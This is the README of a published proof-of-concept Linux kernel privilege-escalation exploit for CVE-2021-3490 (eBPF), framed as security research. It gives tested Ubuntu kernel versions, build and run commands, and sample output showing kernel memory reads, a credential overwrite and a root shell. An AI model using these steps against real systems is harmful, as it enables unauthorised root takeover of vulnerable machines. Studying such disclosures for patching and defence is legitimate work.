LPE exploit for CVE-2021-3490. Tested on Ubuntu 20.04.02 and 20.10 (Groovy Gorilla) kernels 5.8.0-25.26 through 5.8.0-52.58. and Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17. The vulnerability was discovered by Manfred Paul @_manfp and fixed in this commit.

author: @chompie1337

For educational/research purposes only. Use at your own risk.

To build for Ubuntu 20.04.02 and Ubuntu 20.10 (Groovy Gorilla):

make groovy

To build for Ubuntu 21.04 (Hirsute Hippo):

make hirsute

To run:

bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
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Note: You must cleanly exit the root shell by typing exit to perform cleanup and avoid a kernel panic.

Checkout the writeup Kernel Pwning with eBPF: a Love Story.

This research was sponsered by Grapl.